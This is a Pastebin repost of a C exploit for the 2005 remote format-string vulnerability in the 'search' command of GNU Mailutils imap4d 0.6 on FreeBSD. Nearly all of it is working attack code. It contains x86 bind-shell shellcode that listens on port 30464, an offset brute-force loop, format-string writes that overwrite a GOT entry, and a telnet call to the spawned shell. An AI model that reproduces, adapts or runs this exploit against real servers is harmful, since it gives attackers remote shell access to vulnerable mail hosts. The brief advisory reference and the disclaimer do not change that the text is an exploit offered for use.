Tr3v0r

[BSD] GNU Mailutils imap4d 0.6 (search) Remote Format String

Sep 7th, 2014
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.53 KB | None | 0 0
  1. =====================================================================
  2. GNU Mailutils imap4d 0.6 (search) Remote Format String Exploit (fbsd)
  3. =====================================================================
  4.  
  5. /*
  6. * Copyright (c) 2005 Rosiello Security
  7. * http://www.rosiello.org
  8. *
  9. * Permission is granted for the redistribution of this software
  10. * electronically. It may not be edited in any way without the express
  11. * written consent of Rosiello Security.
  12. *
  13. * Disclaimer: The author published the information under the condition
  14. * that is not in the intention of the reader to use them in order to bring
  15. * to himself or others a profit or to bring to others damage.
  16. *
  17. * --------------------------------------------------------------------------
  18. *
  19. * GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability
  20. * iDEFENSE Security Advisory 09.09.05
  21. * www.idefense.com/application/poi/display?id=303&type=vulnerabilities
  22. *
  23. * The GNU mailutils package is a collection of mail-related
  24. * utilities, including local and remote mailbox access services.
  25. * More information is available at the following site:
  26. * http://www.gnu.org/software/mailutils/mailutils.html
  27. *
  28. * This exploit shows the possibility to run arbitrary code
  29. * on FreeBSD machines.
  30. *
  31. * Authors: Johnny Mast and Angelo Rosiello
  32. */
  33.  
  34. #include <netdb.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netinet/in.h>
  38. #include <netdb.h>
  39. #include <sys/types.h>
  40. #include <sys/socket.h>
  41. #include <arpa/inet.h>
  42.  
  43. #include <stdio.h>
  44. #include <stdlib.h>
  45. #include <unistd.h>
  46. #include <stdarg.h>
  47.  
  48.  
  49. #define ISIP(m) (!((int)inet_addr(m) ==-1))
  50. #define clean(x) memset(x, 0 , sizeof x)
  51.  
  52. char code[] =
  53. "\x90\x90\x90\x90"
  54. "\x90\x90\x90\x90"
  55. "\x90\x90\x90\x90"
  56. "\x31\xc0" /* xor %eax,%eax */
  57. "\x31\xc0" /* xor %eax,%eax */
  58. "\x50" /* push %eax */
  59. "\x31\xc0" /* xor %eax,%eax */
  60. "\x50" /* push %eax */
  61. "\xb0\x7e" /* mov $0x7e,%al */
  62. "\x50" /* push %eax */
  63. "\xcd\x80" /* int $0x80 */
  64. "\x31\xc0" /* xor %eax,%eax */
  65.  
  66. /* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
  67. "\x31\xc0" // xorl %eax,%eax
  68. "\x31\xdb" // xorl %ebx,%ebx
  69. "\x31\xc9" // xorl %ecx,%ecx
  70. "\x31\xd2" // xorl %edx,%edx
  71. "\xb0\x61" // movb $0x61,%al
  72. "\x51" // pushl %ecx
  73. "\xb1\x06" // movb $0x6,%cl
  74. "\x51" // pushl %ecx
  75. "\xb1\x01" // movb $0x1,%cl
  76. "\x51" // pushl %ecx
  77. "\xb1\x02" // movb $0x2,%cl
  78. "\x51" // pushl %ecx
  79. "\x8d\x0c\x24" // leal (%esp),%ecx
  80. "\x51" // pushl %ecx
  81. "\xcd\x80" // int $0x80
  82.  
  83. /* it binds on port 30464 */
  84. /* bind(fd, (struct sockaddr*)&sin, sizeof(sin)) */
  85. "\xb1\x02" // movb $0x2,%cl
  86. "\x31\xc9" // xorl %ecx,%ecx
  87. "\x51" // pushl %ecx
  88. "\x51" // pushl %ecx
  89. "\x51" // pushl %ecx
  90.  
  91. /* port = 0x77, change if needed */
  92. "\x80\xc1\x77" // addb $0x77,%cl
  93. "\x66\x51" // pushw %cx
  94. "\xb5\x02" // movb $0x2,%ch
  95. "\x66\x51" // pushw %cx
  96. "\x8d\x0c\x24" // leal (%esp),%ecx
  97. "\xb2\x10" // movb $0x10,%dl
  98. "\x52" // pushl %edx
  99. "\x51" // pushl %ecx
  100. "\x50" // pushl %eax
  101. "\x8d\x0c\x24" // leal (%esp),%ecx
  102. "\x51" // pushl %ecx
  103. "\x89\xc2" // movl %eax,%edx
  104. "\x31\xc0" // xorl %eax,%eax
  105. "\xb0\x68" // movb $0x68,%al
  106. "\xcd\x80" // int $0x80
  107.  
  108. /* listen(fd, 1)*/
  109. "\xb3\x01" // movb $0x1,%bl
  110. "\x53" // pushl %ebx
  111. "\x52" // pushl %edx
  112. "\x8d\x0c\x24" // leal (%esp),%ecx
  113. "\x51" // pushl %ecx
  114. "\x31\xc0" // xorl %eax,%eax
  115. "\xb0\x6a" // movb $0x6a,%al
  116. "\xcd\x80" // int $0x80
  117.  
  118. /* cli = accept(fd, 0,0) */
  119. "\x31\xc0" // xorl %eax,%eax
  120. "\x50" // pushl %eax
  121. "\x50" // pushl %eax
  122. "\x52" // pushl %edx
  123. "\x8d\x0c\x24" // leal (%esp),%ecx
  124. "\x51" // pushl %ecx
  125. "\x31\xc9" // xorl %ecx,%ecx
  126. "\xb0\x1e" // movb $0x1e,%al
  127. "\xcd\x80" // int $0x80
  128.  
  129. /* dup2(cli,0) */
  130. "\x89\xc3" // movl %eax,%ebx
  131. "\x53" // pushl %ebx
  132. "\x51" // pushl %ecx
  133. "\x31\xc0" // xorl %eax,%eax
  134. "\xb0\x5a" // movb $0x5a,%al
  135. "\xcd\x80" // int $0x80
  136.  
  137. /* dup2(cli, 1) */
  138. "\x41" // inc %ecx
  139. "\x53" // pushl %ebx
  140. "\x51" // pushl %ecx
  141. "\x31\xc0" // xorl %eax,%eax
  142. "\xb0\x5a" // movb $0x5a,%al
  143. "\xcd\x80" // int $0x80
  144.  
  145. /* dup2(cli, 2) */
  146. "\x41" // inc %ecx
  147. "\x53" // pushl %ebx
  148. "\x51" // pushl %ecx
  149. "\x31\xc0" // xorl %eax,%eax
  150. "\xb0\x5a" // movb $0x5a,%al
  151. "\xcd\x80" // int $0x80
  152.  
  153. /* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
  154. "\x31\xdb" // xorl %ebx,%ebx
  155. "\x53" // pushl %ebx
  156. "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
  157. "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
  158. "\x89\xe3" // movl %esp,%ebx
  159. "\x31\xc0" // xorl %eax,%eax
  160. "\x50" // pushl %eax
  161. "\x54" // pushl %esp
  162. "\x53" // pushl %ebx
  163. "\x50" // pushl %eax
  164. "\xb0\x3b" // mov $0x3b,%al
  165. "\xcd\x80" // int $0x80
  166.  
  167. /* exit(..) */
  168. "\x31\xc0" // xorl %eax,%eax
  169. "\xb0\x01" // mobv $0x1,%al
  170. "\xcd\x80"; // int $0x80
  171.  
  172.  
  173.  
  174. void usage( int argc, char **argv )
  175. {
  176.  
  177. fprintf(stdout, "%s usage:\n\n", argv[0]);
  178. fprintf(stdout, "\t-h host\n");
  179. fprintf(stdout, "\t-p port\n");
  180. fprintf(stdout, "\t-l login\n");
  181. fprintf(stdout, "\t-a password\n\n");
  182.  
  183. return;
  184. }
  185.  
  186.  
  187. void send_message( int fd, char *msg, ... )
  188. {
  189. char string[2000];
  190. int len;
  191. size_t size;
  192.  
  193. va_list args;
  194.  
  195.  
  196. clean(string);
  197.  
  198.  
  199. va_start(args, msg);
  200. len = vsnprintf(string, sizeof(string)-1, msg,args);
  201. len = (len >=0) ? len : 0;
  202.  
  203. /* Terminating the string */
  204. string[len]='\0';
  205.  
  206. write(fd, string, len);
  207.  
  208. return;
  209. }
  210.  
  211.  
  212.  
  213.  
  214.  
  215. char *buildstring( long r_addr, long target, int offset, int sock )
  216. {
  217. unsigned char string[512], a[4];
  218. int len;
  219. int high, low, arw;
  220.  
  221.  
  222.  
  223. high = ( target & 0xffff0000 ) >> 16;
  224. low = ( target & 0x0000ffff );
  225.  
  226. clean(a);
  227. a[0] = (r_addr >> 24) & 0xff;
  228. a[1] = (r_addr >> 16) & 0xff;
  229. a[2] = (r_addr >> 8) & 0xff;
  230. a[3] = (r_addr) & 0xff;
  231. a[4] = '\0';
  232.  
  233. clean(string);
  234. len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn\n",
  235. (int)a[3]+2,a[2],a[1],a[0],
  236. high -(0x24+13), /* Number of bytes for the first write */
  237. offset /* The Offset to addr */
  238. );
  239.  
  240. len = (len >=0) ? len : 0;
  241. string[len] = '\0';
  242. write(sock, string, len);
  243.  
  244. read(sock, string, sizeof(string));
  245.  
  246.  
  247. clean(string);
  248. len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn%s\n",
  249. (int) a[3], (int)a[2], (int)a[1],(int)a[0],
  250. low - (0x24 +13),
  251. offset, /* The offset to addr +2 */
  252. code
  253. );
  254.  
  255. len = (len >=0) ? len : 0;
  256. string[len] = '\0';
  257. write(sock, string, len);
  258.  
  259.  
  260. return (char *)strdup(string);
  261. }
  262.  
  263.  
  264. void get_addr_as_char( u_int addr, char *buf )
  265. {
  266. *(u_int*)buf = addr;
  267. if (!buf[0]) buf[0]++;
  268. if (!buf[1]) buf[1]++;
  269. if (!buf[2]) buf[2]++;
  270. if (!buf[3]) buf[3]++;
  271. }
  272.  
  273. static int got_entry = 0x08057a0c+4;
  274.  
  275.  
  276. int comun( char *host, struct sockaddr_in sin4 )
  277. {
  278. char *a[4] = { "/usr/bin/telnet", host , "30464", NULL };
  279. execve(a[0],a, NULL);
  280. return 0;
  281. }
  282.  
  283. void welcome( )
  284. {
  285. fprintf( stdout, "\nCopyright (c) 2005 Rosiello Security\n" );
  286. fprintf( stdout, "http://www.rosiello.org\n" );
  287. fprintf( stdout, "imap4d Format String Exploiter for FreeBSD\n\n" );
  288. }
  289.  
  290. int main( int argc, char **argv )
  291. {
  292. struct hostent *hp;
  293. struct sockaddr_in sin4;
  294. char shellbuf[1030];
  295. char *host, buffer[512], *ptr, *p, *USER, *PASS;
  296. int ch, port = 0, sock, offset = 1;
  297. int login = 0, i, calc = 0;
  298. int ret = 0, len = 0, b;
  299. int have_shell_loc = 0;
  300. unsigned int shell_addr = (u_int)0x0806c000;
  301.  
  302. welcome( );
  303.  
  304. if ( argc < 9 )
  305. {
  306. usage(argc, argv);
  307. exit(EXIT_SUCCESS);
  308. }
  309.  
  310. if (!(host = malloc (128)))
  311. {
  312. fprintf(stderr, "exp.c:115 Could not allocate memory\n");
  313. exit(EXIT_FAILURE);
  314. }
  315.  
  316.  
  317. while((ch = getopt(argc, argv, "h:p:l:a:")) != EOF)
  318. {
  319. switch(ch)
  320. {
  321. case 'h':
  322. host = (char *)strdup(optarg);
  323. break;
  324.  
  325. case 'V':
  326. break;
  327.  
  328. case 'p':
  329. port = atoi (optarg);
  330. break;
  331.  
  332. case 'l':
  333. USER = (char *)optarg;
  334. break;
  335.  
  336. case 'a':
  337. PASS = (char *)optarg;
  338. break;
  339.  
  340. default:
  341. usage(argc, argv);
  342. break;
  343. }
  344. }
  345.  
  346.  
  347.  
  348. if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  349. {
  350. fprintf(stderr, "exp.c:139 Error creating an new socket");
  351. exit(EXIT_FAILURE);
  352. }
  353.  
  354. host = (host) ? host : "localhost";
  355. port = (port) ? port : 143;
  356.  
  357. if (!(ISIP(host)))
  358. {
  359. if (!(hp = gethostbyname(host)))
  360. {
  361. fprintf(stderr, "exp.c:152 Could not resolve ip address\n");
  362. exit(EXIT_FAILURE);
  363. }
  364.  
  365. memcpy(&sin4.sin_addr,hp->h_addr,hp->h_length);
  366. host = (char *)strdup(inet_ntoa(sin4.sin_addr));
  367. } else
  368. sin4.sin_addr.s_addr = inet_addr(host);
  369.  
  370.  
  371.  
  372.  
  373. sin4.sin_family = AF_INET;
  374. sin4.sin_port = (unsigned short)htons( port );
  375.  
  376. fprintf(stdout, "[+] Connecting to %s:%d\n", host,port);
  377.  
  378. if ((connect(sock, (struct sockaddr *)&sin4,sizeof(struct sockaddr))) < 0)
  379. {
  380. fprintf(stderr, "[*] exp.c:178 Connection failed\n");
  381. exit(EXIT_FAILURE);
  382. }
  383.  
  384.  
  385. fprintf(stdout, "[+] Connected .. \n");
  386. fprintf(stdout, "[+] Sending login ... \n");
  387.  
  388. send_message(sock, "1 LOGIN %s %s\r\n", USER, PASS);
  389. fprintf(stdout, "[+] Done ... \n");
  390.  
  391. while ((read(sock, buffer, 512)) > 0)
  392. {
  393. if ( login == 0 && ret == 0)
  394. switch (buffer[0])
  395. {
  396.  
  397. case '1':
  398. fprintf(stdout, "[+] Selecting inbox ..\n");
  399. send_message(sock, "2 Select inbox\n");
  400. fprintf(stdout, "[+] Selecting Done .. Starting brute sequence\n");
  401. send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
  402. login = 1;
  403. break;
  404. }
  405.  
  406.  
  407. if ((ptr=strstr(buffer, "(near")) && login == 1)
  408. {
  409. ptr +=15;
  410. if ((strncmp(ptr, "41414141",8))!=0)
  411. {
  412. offset ++;
  413. send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
  414. }
  415. else
  416. {
  417. fprintf(stdout, "[+] Found offset %d\n", offset);
  418. fprintf(stdout, "[+] Finding buffer on the stack\n");
  419. ret = 1;
  420. login = 0;
  421. clean(buffer);
  422. }
  423. }
  424.  
  425. if ( ret == 1 )
  426. {
  427.  
  428. if ((ptr=strstr(buffer, "(near")))
  429. {
  430. ptr +=6+4 +1; /* +4 for the addr string*/
  431. /* +1 for the junk char */
  432. calc = strlen(buffer) - strlen(ptr);
  433. calc -=6+4+1;
  434.  
  435. for (i = 0; i < strlen(buffer); i++)
  436. {
  437. if ( (strncmp(ptr, code, strlen(code)))==0 && have_shell_loc !=1)
  438. {
  439. shell_addr += i -4;
  440. have_shell_loc = 1;
  441. sleep(2);
  442. buildstring(got_entry, shell_addr+=3, offset, sock);
  443. fprintf(stdout,"[+] Decoy found at %p\n", shell_addr);
  444. close(sock);
  445. fprintf(stdout, "[+] Trying to contact the bind shell ..\n");
  446. if((comun(host, sin4)) < 0)
  447. fprintf(stderr, "[-] Exploit failed\n");
  448. }
  449. else
  450. ++ptr;
  451. }
  452. }
  453. if( shell_addr > 0xc0000000)
  454. break;
  455. shell_addr++;
  456. ptr = ((char *)&shell_addr);
  457. ptr[4] = 0;
  458. if ( strchr(ptr, 0xa) || strchr(ptr, 0xd) || ptr[0]==0x00)
  459. {
  460. shell_addr ++;
  461. ptr = ((char *)&shell_addr);
  462. ptr[4] = 0;
  463. }
  464. while (strlen(ptr) !=4)
  465. {
  466. shell_addr++;
  467. ptr = ((char *)&shell_addr);
  468. ptr[4] = 0;
  469. }
  470. if (have_shell_loc != 1)
  471. {
  472. send_message(sock, "3 search topic .%s....%%%d$s%sCCCC\n",ptr,offset,code);
  473. }
  474. }
  475. clean(buffer);
  476. }
  477.  
  478. fprintf(stderr, "[+] Closing connection\n");
  479. close(sock);
  480. free(host);
  481.  
  482. fprintf(stderr, "[-] Exploit failed %p\n", shell_addr);
  483. return 0;
  484. }
  485.  
  486.  
  487. # 6946D00F31938B89 1337day.com [2014-09-08] F4045BD3BFDF4B4C #
Advertisement
Add Comment
Please, Sign In to add comment